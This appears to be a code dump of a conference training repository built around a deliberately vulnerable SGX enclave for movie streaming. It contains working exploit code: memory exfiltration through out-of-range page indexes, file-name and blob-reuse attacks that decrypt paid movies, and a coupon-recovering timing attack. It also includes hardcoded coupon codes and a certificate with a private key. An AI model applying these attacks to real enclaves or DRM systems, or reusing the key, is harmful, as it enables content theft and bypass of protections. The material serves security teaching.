m/(.*[\/\\])[^\/\\]+$/; $dir=$1; 8 | 9 | unshift(@INC,$dir); 10 | require "hmac_sha1.pl"; 11 | 12 | ###################################################################### 13 | # 14 | # PE-COFF segment table parser by . 15 | # 16 | { package PECOFF; 17 | use FileHandle; 18 | 19 | sub dup { my %copy=map {$_} @_; return \%copy; } 20 | 21 | sub Load { 22 | my $class = shift; 23 | my $self = {}; 24 | my $FD = FileHandle->new(); # autoclose 25 | my $file = shift; 26 | 27 | bless $self,$class; 28 | 29 | sysopen($FD,$file,0) or die "$!"; 30 | binmode($FD); 31 | 32 | ################################################# 33 | # read IMAGE_DOS_HEADER 34 | # 35 | read($FD,my $mz,64) or die "$!"; 36 | my @dos_header=unpack("a2C58V",$mz); 37 | 38 | $!=42; # signal fipsld to revert to two-step link 39 | die "$file is not PE-COFF image" if (@dos_header[0] ne "MZ"); 40 | 41 | my $e_lfanew=pop(@dos_header); 42 | seek($FD,$e_lfanew,0) or die "$!"; 43 | read($FD,my $magic,4) or die "$!"; 44 | 45 | $!=42; # signal fipsld to revert to two-step link 46 | die "$file is not PE-COFF image" if (unpack("V",$magic)!=0x4550); 47 | 48 | ################################################# 49 | # read and parse COFF header... 50 | # 51 | read($FD,my $coff,20) or die "$!"; 52 | 53 | my %coff_header; 54 | @coff_header{machine,nsects,date,syms_off,nsyms,opt,flags}= 55 | unpack("v2V3v2",$coff); 56 | 57 | my $strings; 58 | my $symsize; 59 | 60 | ################################################# 61 | # load strings table 62 | # 63 | if ($coff_header{syms_off}) { 64 | seek($FD,$coff_header{syms_off}+18*$coff_header{nsyms},0) or die "$!"; 65 | read($FD,$strings,4) or die "$!"; 66 | $symsize = unpack("V",$strings); 67 | read($FD,$strings,$symsize,4) or die "$!"; 68 | } 69 | 70 | ################################################# 71 | # read sections 72 | # 73 | my $i; 74 | 75 | # seek to section headers 76 | seek($FD,$e_lfanew+24+@coff_header{opt},0) or die "$!"; 77 | 78 | for ($i=0;$i<$coff_header{nsects};$i++) { 79 | my %coff_shdr; 80 | my $name; 81 | 82 | read($FD,my $section,40) or die "$!"; 83 | 84 | @coff_shdr{sh_name,sh_vsize,sh_vaddr, 85 | sh_rawsize,sh_offset,sh_relocs,sh_lines, 86 | sh_nrelocls,sh_nlines,sh_flags} = 87 | unpack("a8V6v2V",$section); 88 | 89 | $name = $coff_shdr{sh_name}; 90 | # see if sh_name is an offset in $strings 91 | my ($hi,$lo) = unpack("V2",$name); 92 | if ($hi==0 && $lo<$symsize) { 93 | $name = substr($strings,$lo,64); 94 | } 95 | $name = (split(chr(0),$name))[0]; 96 | $coff_shdr{sh_name} = $name; 97 | 98 | $self->{sections}{$name} = dup(%coff_shdr); 99 | } 100 | 101 | return $self; 102 | } 103 | 104 | sub Lookup { 105 | my $self = shift; 106 | my $name = shift; 107 | return $self->{sections}{$name}; 108 | } 109 | } 110 | 111 | ###################################################################### 112 | # 113 | # main() 114 | # 115 | my $legacy_mode; 116 | 117 | if ($#ARGV<0 || ($#ARGV>0 && !($legacy_mode=(@ARGV[0] =~ /^\-(dso|exe)$/)))) { 118 | print STDERR "usage: $0 [-dso|-exe] pe-coff-binary\n"; 119 | exit(1); 120 | } 121 | 122 | $exe = PECOFF->Load(@ARGV[$#ARGV]); 123 | 124 | sysopen(FD,@ARGV[$#ARGV],$legacy_mode?0:2) or die "$!"; # 2 is read/write 125 | binmode(FD); 126 | 127 | sub FIPS_incore_fingerprint { 128 | my $ctx = HMAC->Init("etaonrishdlcupfm"); 129 | my ($beg,$end); 130 | my $sect; 131 | 132 | $sect = $exe->Lookup("fipstx") or die "no fipstx section"; 133 | 134 | seek(FD,$sect->{sh_offset},0) or die "$!"; 135 | read(FD,$blob,$sect->{sh_vsize}) or die "$!"; 136 | 137 | ($beg = index($blob,"SPIFxet_ts_tXtra")) >= 0 138 | or die "no FIPS_text_startX"; 139 | ($end = rindex($blob,"SPIFxet_ne_t][Xd")) >= 0 140 | or die "no FIPS_text_endX"; 141 | 142 | $ctx->Update(substr($blob,$beg,$end-$beg)); 143 | 144 | $sect = $exe->Lookup("fipsro") or die "no fipsro section"; 145 | 146 | seek(FD,$sect->{sh_offset},0) or die "$!"; 147 | read(FD,$blob,$sect->{sh_vsize}) or die "$!"; 148 | 149 | ($beg = index($blob,"SPIFdor__atarats",40)) >= 0 150 | or die "no FIPS_rodata_start"; 151 | ($end = rindex($blob,"SPIFdor__ata[dne")) >= 0 152 | or die "no FIPS_rodata_end"; 153 | 154 | $ctx->Update(substr($blob,$beg,$end-$beg)); 155 | 156 | return $ctx->Final(); 157 | } 158 | 159 | $fingerprint = FIPS_incore_fingerprint(); 160 | 161 | if ($legacy_mode) { 162 | print unpack("H*",$fingerprint); 163 | } else { 164 | my $sect = $exe->Lookup("fipsro"); 165 | seek(FD,$sect->{sh_offset},0) or die "$!"; 166 | print FD unpack("H*",$fingerprint) or die "$!"; 167 | } 168 | 169 | close (FD); 170 | -------------------------------------------------------------------------------- /docs/DVSE Walkthrough.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/docs/DVSE Walkthrough.docx -------------------------------------------------------------------------------- /docs/SGX Enclave Programming - Common Mistakes.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/docs/SGX Enclave Programming - Common Mistakes.pdf -------------------------------------------------------------------------------- /docs/SGX Enclave Programming - Common Mistakes.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/docs/SGX Enclave Programming - Common Mistakes.pptx -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/DVSE_u.h: -------------------------------------------------------------------------------- 1 | #ifndef DVSE_U_H__ 2 | #define DVSE_U_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "sgx_edger8r.h" /* for sgx_status_t etc. */ 9 | 10 | 11 | #define SGX_CAST(type, item) ((type)(item)) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | void* SGX_UBRIDGE(SGX_NOCONVENTION, ocall_file_open, (char* file_name, char* format)); 18 | int SGX_UBRIDGE(SGX_NOCONVENTION, ocall_file_close, (void* handle)); 19 | int SGX_UBRIDGE(SGX_NOCONVENTION, ocall_file_read, (void* handle, size_t offset, size_t datasize, unsigned char* data)); 20 | int SGX_UBRIDGE(SGX_NOCONVENTION, ocall_file_write, (void* handle, size_t datasize, unsigned char* data)); 21 | size_t SGX_UBRIDGE(SGX_NOCONVENTION, ocall_file_size, (void* file_handle)); 22 | void* SGX_UBRIDGE(SGX_NOCONVENTION, ocall_socket_connect, (char* url, unsigned int port)); 23 | void SGX_UBRIDGE(SGX_NOCONVENTION, ocall_socket_shutdown, (void* socket)); 24 | int SGX_UBRIDGE(SGX_NOCONVENTION, ocall_get_the_current_time, (unsigned char thetime[16])); 25 | void SGX_UBRIDGE(SGX_NOCONVENTION, u_sgxssl_ftime64, (void* timeptr, uint32_t timeb64Len)); 26 | int SGX_UBRIDGE(SGX_NOCONVENTION, u_sgxssl_closesocket, (void* s, int* wsaError)); 27 | int SGX_UBRIDGE(SGX_NOCONVENTION, u_sgxssl_recv, (void* s, void* buf, int len, int flag, int* wsaError)); 28 | int SGX_UBRIDGE(SGX_NOCONVENTION, u_sgxssl_send, (void* s, const char* buf, int len, int flags, int* wsaError)); 29 | int SGX_UBRIDGE(SGX_NOCONVENTION, u_sgxssl_shutdown, (void* s, int how, int* wsaError)); 30 | void SGX_UBRIDGE(SGX_CDECL, sgx_oc_cpuidex, (int cpuinfo[4], int leaf, int subleaf)); 31 | int SGX_UBRIDGE(SGX_CDECL, sgx_thread_wait_untrusted_event_ocall, (const void* self)); 32 | int SGX_UBRIDGE(SGX_CDECL, sgx_thread_set_untrusted_event_ocall, (const void* waiter)); 33 | int SGX_UBRIDGE(SGX_CDECL, sgx_thread_setwait_untrusted_events_ocall, (const void* waiter, const void* self)); 34 | int SGX_UBRIDGE(SGX_CDECL, sgx_thread_set_multiple_untrusted_events_ocall, (const void** waiters, size_t total)); 35 | 36 | sgx_status_t ecall_init_enclave(sgx_enclave_id_t eid, int* retval, char* storage_folder, char* address, int port); 37 | sgx_status_t ecall_update_epg(sgx_enclave_id_t eid, int* retval); 38 | sgx_status_t ecall_get_epg_page(sgx_enclave_id_t eid, int* retval, int number, size_t strsize, void* page); 39 | sgx_status_t ecall_prepare_movie(sgx_enclave_id_t eid, int* retval, size_t movie_id); 40 | sgx_status_t ecall_get_movie_chunk(sgx_enclave_id_t eid, int* retval, size_t chunk_offset, size_t chunk_size, void* chunk); 41 | sgx_status_t ecall_get_movie_file_size(sgx_enclave_id_t eid, int* retval, size_t movie_id, size_t* size); 42 | sgx_status_t ecall_try_coupon(sgx_enclave_id_t eid, int* retval, char* coupon); 43 | sgx_status_t ecall_get_balance(sgx_enclave_id_t eid, int* retval, int* balance); 44 | sgx_status_t ecall_write_log(sgx_enclave_id_t eid, int* retval, size_t logsize, char* logstr); 45 | 46 | #ifdef __cplusplus 47 | } 48 | #endif /* __cplusplus */ 49 | 50 | #endif 51 | -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/EnclaveTest.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/reconmtl2017dvse/EnclaveTest/EnclaveTest.cpp -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/EnclaveTest.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {f368f3c3-0384-4149-bda5-8d2c88c88917} 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Generated Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | Header Files 38 | 39 | 40 | Header Files 41 | 42 | 43 | 44 | 45 | Source Files 46 | 47 | 48 | Source Files 49 | 50 | 51 | Generated Files 52 | 53 | 54 | Source Files 55 | 56 | 57 | Source Files 58 | 59 | 60 | Source Files 61 | 62 | 63 | Source Files 64 | 65 | 66 | Source Files 67 | 68 | 69 | Source Files 70 | 71 | 72 | Source Files 73 | 74 | 75 | Source Files 76 | 77 | 78 | 79 | 80 | Source Files 81 | 82 | 83 | -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/ReadMe.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/reconmtl2017dvse/EnclaveTest/ReadMe.txt -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/blob_reuse.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "stdafx.h" 3 | #include "exploits.h" 4 | #include "common_enclave_actions.h" 5 | 6 | 7 | void e3_blob_reuse(char* server_ip, int iport, char* library_folder) 8 | { 9 | // create an enclave 10 | // get an epg 11 | // close an enclave 12 | // for all movies: 13 | // delete service files 14 | // create enclave 15 | // read and save movie 16 | // close enclave 17 | set_print_mode(false); 18 | if (!load_enclave()) 19 | { 20 | printf("\nCan not load enclave ..."); 21 | return; 22 | } 23 | // get an epg 24 | unsigned int i, j; 25 | size_t * ids = nullptr; 26 | bool *is_payed = nullptr; 27 | unsigned int num_of_movies = 0; 28 | if (!init_enclave(server_ip, library_folder, iport)) 29 | { 30 | printf("\nCan not initialize enclave for getting EPG..."); 31 | return; 32 | } 33 | // close enclave 34 | if (!get_epg_info(&ids, &is_payed, &num_of_movies)) 35 | { 36 | printf("\nCan not get EPG info. Is your server running ?"); 37 | return; 38 | } 39 | 40 | // blob is prepared, copy it back 41 | char reset_state_command[1024]; 42 | snprintf(reset_state_command, 1024, "del \"%s\\*.enc\"", library_folder); 43 | 44 | for (i = 0; i < num_of_movies; i++) 45 | { 46 | // download all movies, exploits the fact that the movie is downloaded 47 | // and stored ancrypted in any case without any relation to the current 48 | // coin balance 49 | 50 | if (!prepare_file(ids[i])) 51 | { 52 | printf("\nEXpected fail: Can not prepare encrypted movie(but it should be downloaded) , %zd . Is your server running ?", ids[i]); 53 | } 54 | } 55 | 56 | if (!unload_enclave()) 57 | { 58 | printf("\nSomethign wrong, can not unload enclave."); 59 | return; 60 | } 61 | 62 | // for all payed movies 63 | 64 | for (i = 0; i < num_of_movies; i++) 65 | { 66 | // delete all the perfectly encrypted and excellently stored information 67 | // from the previous session. 68 | 69 | system(reset_state_command); 70 | // create an enclave 71 | 72 | if (!load_enclave()) 73 | { 74 | printf("\nCan not load enclave for movie %zd ...", ids[i]); 75 | return; 76 | } 77 | if (!init_enclave(server_ip, library_folder, iport)) 78 | { 79 | printf("\nCan not initialize enclave for movie %zd ...", ids[i]); 80 | return; 81 | } 82 | // apply all coupons, assuming we got them by one of other attacks, 83 | // such as memory exfiltration or timing. 84 | // Practically we can do it only once and restore the blob file 85 | // before enclave initialization. 86 | char *coupons[5] = 87 | { 88 | "DVSE_CPN_10000000000000000000000", 89 | "DVSE_CPN_20000000000000000000000", 90 | "DVSE_CPN_30000000000000000000000", 91 | "DVSE_CPN_40000000000000000000000", 92 | "DVSE_CPN_50000000000000000000000" 93 | }; 94 | for (j = 0; j < 5; j++) 95 | { 96 | if (!apply_coupon(coupons[j])) 97 | { 98 | printf("\nSomethign wrong, can not apply the coupon."); 99 | return; 100 | } 101 | } 102 | 103 | 104 | // prepare the movie 105 | if (!prepare_file(ids[i]) ) 106 | { 107 | SleepEx(2000, TRUE); 108 | if (!prepare_file(ids[i])) 109 | { 110 | printf("\nUNexpected fail: can not prepare encrypted movie. Is your server running ?"); 111 | return; 112 | } 113 | } 114 | char filename_movie_out[1024]; 115 | snprintf(filename_movie_out, 1024, "%s\\movie.blobreuse.decrypted.%zd.mp4", library_folder, ids[i]); 116 | 117 | // read the file and store: coupons should give us a lot of coins 118 | extract_semi_allowed_file(ids[i], filename_movie_out); 119 | // close enclave 120 | if (!unload_enclave()) 121 | { 122 | printf("\nunload enclave. Is your server running ?"); 123 | return; 124 | } 125 | } 126 | 127 | } 128 | -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/common_enclave_actions.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | bool load_enclave(); 5 | bool unload_enclave(); 6 | bool init_enclave(char* netaddr, char* libaddr, unsigned int port); 7 | bool get_epg_info( size_t ** movie_ids, bool **is_payed, unsigned int *num_of_movies); 8 | bool prepare_file(size_t id); 9 | bool extract_semi_allowed_file(size_t movie_id, char* store_to); 10 | bool apply_coupon(char * coupon); 11 | bool get_file_size(size_t movie_id, size_t * fsize); 12 | size_t read_movie_chunk(size_t movie_offset, size_t chunk_size, unsigned char* dest); 13 | bool write_app_log(unsigned char* data, size_t length); 14 | bool reload_service_files(void); 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/exfiltrate_data.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "exploits.h" 3 | #include 4 | #include 5 | 6 | #include "common_enclave_actions.h" 7 | 8 | 9 | void e0_exfiltrate_data(char* server_ip, int iport, char* library_folder) 10 | { 11 | if (!load_enclave() || ! init_enclave(server_ip, library_folder, iport)) 12 | { 13 | printf("\n Can not initialize enclave, exiting ...\n"); 14 | exit(2); 15 | } 16 | 17 | int page_shift = 20; 18 | char filename[1024]; 19 | snprintf(filename, 1024, "%s\\dumped_pages.bin", library_folder); 20 | FILE* pages = fopen(filename, "wb"); 21 | if (!pages) 22 | { 23 | printf("\n Can not open dump file, exiting ...\n"); 24 | exit(2); 25 | } 26 | 27 | 28 | for (int i = -page_shift; i < page_shift; i++) 29 | { 30 | unsigned char page[1024]; 31 | memset(page, 0, 1024); 32 | sgx_status_t ret; 33 | int res; 34 | 35 | ret = ecall_get_epg_page(global_eid, &res, i, 1024, page); 36 | 37 | fwrite(page, 1, 1024, pages); 38 | 39 | } 40 | fclose(pages); 41 | 42 | unload_enclave(); 43 | 44 | 45 | } -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/exploits.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/reconmtl2017dvse/EnclaveTest/exploits.h -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/file_substitution.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "stdafx.h" 3 | #include "exploits.h" 4 | #include "common_enclave_actions.h" 5 | 6 | 7 | void e2_file_substitution(char* server_ip, int iport, char* library_folder) 8 | { 9 | // create an enclave 10 | if (!load_enclave()) 11 | { 12 | printf("\nCan not load enclave ..."); 13 | return; 14 | } 15 | // get an epg 16 | size_t * ids = nullptr; 17 | bool *is_payed = nullptr; 18 | unsigned int num_of_movies = 0; 19 | if (!init_enclave(server_ip, library_folder, iport)) 20 | { 21 | printf("\nCan not initialize enclave for getting EPG..."); 22 | return; 23 | } 24 | if (!get_epg_info( &ids, &is_payed, &num_of_movies)) 25 | { 26 | printf("\nCan not get EPG info. Is your server running ?"); 27 | return; 28 | } 29 | // close enclave 30 | if (!unload_enclave()) 31 | { 32 | printf("\nSomethign wrong, can not unload enclave."); 33 | return; 34 | } 35 | // for all payed movies 36 | unsigned int i; 37 | size_t free_id = -1; 38 | for (i = 0; i < num_of_movies; i++) 39 | { 40 | if (!is_payed[i]) 41 | { 42 | free_id = ids[i]; 43 | break; 44 | } 45 | } 46 | set_print_mode(false); 47 | for (i = 0; i < num_of_movies; i++) 48 | { 49 | // create an enclave 50 | if (!load_enclave()) 51 | { 52 | printf("\nCan not load enclave for movie %zd ...", ids[i]); 53 | return; 54 | } 55 | if (!init_enclave(server_ip, library_folder, iport)) 56 | { 57 | printf("\nCan not initialize enclave for movie %zd ...", ids[i]); 58 | return; 59 | } 60 | 61 | // try to play payed movie in order to cause its download 62 | 63 | if (!prepare_file(ids[i])) 64 | { 65 | printf("\nExpected fail. However, please check: is your server running ?"); 66 | } 67 | // configure file name substitution 68 | char filename[1024]; 69 | snprintf(filename, 1024, "%s\\movie.%zd", library_folder, ids[i]); 70 | char filename_out[1024]; 71 | snprintf(filename_out, 1024, "%s\\movie.filesubst.decrypted.%zd.mp4", library_folder, ids[i]); 72 | substitute_file_name(true, (unsigned char*)filename); 73 | // now prepare the file as free to play 74 | if (!prepare_file(free_id)) 75 | { 76 | printf("\nUNEXPECTED fail, break and exit\n"); 77 | return; 78 | } 79 | 80 | // read as free played file and store 81 | // id is used here only for getting the file size 82 | extract_semi_allowed_file(ids[i], filename_out); 83 | // close enclave 84 | if (!unload_enclave()) 85 | { 86 | printf("\nunload enclave. Is your server running ?"); 87 | return; 88 | } 89 | substitute_file_name(false, nullptr); 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/malicious_ocalls.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/reconmtl2017dvse/EnclaveTest/malicious_ocalls.cpp -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // EnclaveTest.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: reference additional headers your program requires here 16 | -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/time_substitution.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "stdafx.h" 3 | #include "exploits.h" 4 | #include "common_enclave_actions.h" 5 | 6 | 7 | void e4_time_substitution(char* server_ip, int iport, char* library_folder) 8 | { 9 | // create an enclave 10 | // apply 2 coupons 11 | // store the current time in corresponding file 12 | // wait optional time 13 | // read the file with substituted time 14 | // left empty as an excersise, everything is pretty simple and looks like file name substitution 15 | } 16 | -------------------------------------------------------------------------------- /reconmtl2017dvse/EnclaveTest/timing_attack.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "stdafx.h" 3 | #include "exploits.h" 4 | #include "common_enclave_actions.h" 5 | // this attack will not work on windows because the SGX SDK is 6 | // heavily optimized and compares the data by 8 bytes whenever possible 7 | // Unfortunately I couldnt find a way to misuse alignment 8 | void e1_timing_attack(char* server_ip, int iport, char* library_folder) 9 | { 10 | // create an enclave 11 | 12 | // do apply coupon with time measurement for each byte until first 32 byte coupon is recovered 13 | // the rest of coupons left as an excersise to the practitioner 14 | 15 | if (!load_enclave()) 16 | { 17 | printf("\n Can not create enclave for timing attack ..."); 18 | return; 19 | } 20 | if (!init_enclave(server_ip, library_folder, iport)) 21 | { 22 | printf("\n Can not initialize enclave for timing attack ..."); 23 | return; 24 | } 25 | // 26 | char *alphabet = "CDEFGHIJKLMNOPQRSTUVWXYZ0123456789_AB"; 27 | // we already know that the coupons starting from DVSE_CPN from the previous excercise 28 | char coupon[33] = "DVSE_CPN_\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; 29 | bool res = false; 30 | int syms_in_alphabet = (int)strlen(alphabet); 31 | int num_combinations = syms_in_alphabet * syms_in_alphabet; 32 | 33 | uint64_t time_diffs[40*40];// = (uint64_t*)malloc(sizeof(uint64_t)*syms_in_alphabet); 34 | int i, j, try_count = 1024*4; 35 | int wrptr = 8; 36 | do 37 | { 38 | memset(time_diffs, 0, sizeof(uint64_t)*40*40); 39 | for (i = 0; i < num_combinations; i++) 40 | { 41 | coupon[wrptr] = alphabet[i / syms_in_alphabet]; 42 | coupon[wrptr+1] = alphabet[i % syms_in_alphabet]; 43 | for (j = 0; j < try_count; j++) 44 | { 45 | uint64_t start, end; 46 | start = __rdtsc(); 47 | res = apply_coupon(coupon); 48 | end = __rdtsc(); 49 | if (res) 50 | { 51 | printf("\nRecovered coupon: %s", coupon); 52 | return; 53 | } 54 | /*if (j > try_count >> 1)*/ time_diffs[i] += (uint64_t)(end - start); 55 | } 56 | } 57 | uint64_t max_diff = 0; 58 | int recovered_index = 0; 59 | uint64_t cumulative_by_first_letter[256]; 60 | memset(cumulative_by_first_letter, 0, sizeof(cumulative_by_first_letter)); 61 | for (j = 0; j < num_combinations; j++) 62 | { 63 | cumulative_by_first_letter[j / syms_in_alphabet] += time_diffs[j]; 64 | /*if (time_diffs[j] > max_diff) 65 | { 66 | max_diff = time_diffs[j]; 67 | recovered_index = j; 68 | }*/ 69 | 70 | } 71 | for (j = 0; j < syms_in_alphabet; j++) 72 | { 73 | if (cumulative_by_first_letter[j] > max_diff) 74 | { 75 | max_diff = cumulative_by_first_letter[j]; 76 | recovered_index = j; 77 | } 78 | 79 | } 80 | coupon[wrptr] = alphabet[recovered_index]; 81 | coupon[wrptr + 1] = '\0'; 82 | wrptr += 1; 83 | //coupon[wrptr+1] = alphabet[recovered_index % syms_in_alphabet]; 84 | //wrptr+=2; 85 | if (strncmp(coupon, "DVSE_CPN_", wrptr>=strlen("DVSE_CPN_")?strlen("DVSE_CPN_"):wrptr )) 86 | { 87 | printf("\n FAIL, %s", coupon); 88 | exit(1); 89 | } 90 | } while (!res && wrptr < 32); 91 | 92 | if (!res || wrptr >= 32) 93 | { 94 | 95 | printf("\n timing attack failure, try again "); 96 | exit(1); 97 | } 98 | 99 | } 100 | -------------------------------------------------------------------------------- /secureServer/secureServer/certs/domain.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIID5TCCAs2gAwIBAgIJAKby28qvYtj0MA0GCSqGSIb3DQEBCwUAMIGIMQswCQYD 3 | VQQGEwJJTDEPMA0GA1UECAwGdHphZm9uMQ4wDAYDVQQHDAVIYWlmYTENMAsGA1UE 4 | CgwERFZTRTEPMA0GA1UECwwGc2VydmVyMRMwEQYDVQQDDAp3aXJlc2hyaW5rMSMw 5 | IQYJKoZIhvcNAQkBFhR3aXJlc2hyaW5rQGdtYWlsLmNvbTAeFw0xNzA2MDYwNTM4 6 | MjBaFw0xODA2MDYwNTM4MjBaMIGIMQswCQYDVQQGEwJJTDEPMA0GA1UECAwGdHph 7 | Zm9uMQ4wDAYDVQQHDAVIYWlmYTENMAsGA1UECgwERFZTRTEPMA0GA1UECwwGc2Vy 8 | dmVyMRMwEQYDVQQDDAp3aXJlc2hyaW5rMSMwIQYJKoZIhvcNAQkBFhR3aXJlc2hy 9 | aW5rQGdtYWlsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANUi 10 | TzaDwac0YN2Baam5dK6ocDXg2PUA7EuBU9ULG3lBxtu0pPCC90bgaXub7Nd664jQ 11 | aL89PzWDvhC3eBZYEeuGT3UwVgyKsY1FTAHVoQkMEjLgORDlrtPwI9GcwQRbyQLL 12 | Iz6MK1+mxf0KzgwDzIFd5VqxFMtD6hyTpFhEHinZ2nxAa2A4zuY/qUQ16XqEjrtx 13 | EX7x/0iZ9iqvm9rNXBXh0KTtfTG+dy7uvr+xHYxhgjjVMsbZrI0+uzFo4gqQRARW 14 | 0k9jOlWQwahZaeoWRUdH7EdZzRywRinfZiZgFw0eG5lSltnQVUxKigZG+g5knnS5 15 | WJnKppJyxGhVYeKnLyUCAwEAAaNQME4wHQYDVR0OBBYEFPIojTR6GlNZplN4hY4c 16 | EG7tUIUJMB8GA1UdIwQYMBaAFPIojTR6GlNZplN4hY4cEG7tUIUJMAwGA1UdEwQF 17 | MAMBAf8wDQYJKoZIhvcNAQELBQADggEBAHMzpyoaaEWpqbnEuYifegQZVWSjdRdD 18 | 9zp8Ir0TBDp+IKq/dF/18JsddOuxfQ7iy2dDDwIG18PKPEbJALvEvu9hmDFlbtx3 19 | ZOpF4L1BrMqe8QW/82fH6vW/dlmPtGLkQPYsDVv4WStXrMiQXHj52Dz8p2Bbwfyk 20 | ScVfXmO+x63njmyHLXI93msJnMGzdF6wI1d1csEoyYOEING+UIvrc7YSVSNXqFGt 21 | NuNDMiuOH0xay9VDi0EcNmxomMDmHX8Cixh92wFFA8c+Oa0dstgPyz9pHuOSB/SG 22 | JhaigBZwVq+U9icc+crTcv4AcxCAsfDvlhWHWtMwC0ewkVPPuwmBnyk= 23 | -----END CERTIFICATE----- 24 | -------------------------------------------------------------------------------- /secureServer/secureServer/certs/domain.key: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDVIk82g8GnNGDd 3 | gWmpuXSuqHA14Nj1AOxLgVPVCxt5QcbbtKTwgvdG4Gl7m+zXeuuI0Gi/PT81g74Q 4 | t3gWWBHrhk91MFYMirGNRUwB1aEJDBIy4DkQ5a7T8CPRnMEEW8kCyyM+jCtfpsX9 5 | Cs4MA8yBXeVasRTLQ+ock6RYRB4p2dp8QGtgOM7mP6lENel6hI67cRF+8f9ImfYq 6 | r5vazVwV4dCk7X0xvncu7r6/sR2MYYI41TLG2ayNPrsxaOIKkEQEVtJPYzpVkMGo 7 | WWnqFkVHR+xHWc0csEYp32YmYBcNHhuZUpbZ0FVMSooGRvoOZJ50uViZyqaScsRo 8 | VWHipy8lAgMBAAECggEBANR4eIk6/fGm2K3ZFjHZrMV1Ky+67+4Gtolq6tymTwQp 9 | m4lo40jU9pfUnbNZNNl3M5jXUqTa9MlvhSl7DR8ROwQVh96mihHErc3MeEIX6opv 10 | WzEWsCz1G70yVzLeVtj2e0PqqD7xU0fupM9mVxRJMTUCGuO3RqiAEsHcOWi4t201 11 | avM/ZATgtqO1SxYhvNJUnMvK5OU4+QXvwOYkVadqQnUS5BHmLuUVAGbJ8z8+TSRF 12 | glwcyyiHYDIciacDpg6GIbDQTvT2TIfn/Qhgf3UmO1SxNoGjilpQegYRKfFtY8/0 13 | VjsLvpIUJAJxRb9vywUAMB0AOJRvak5xpUjv8j91Kf0CgYEA+CP8YvFAyOv6jNr9 14 | IANBb4cUVRb3yXCHmURtCflZYTS2qqpnSSThH4EzRiZzsel/WlAXxSer3xnoa1yB 15 | c+iHfjbR3LmIz+gymfmQuOEojeX+GVL/U/vm+0+uIgHvZU4aObXNvGn2bFoDsLAp 16 | 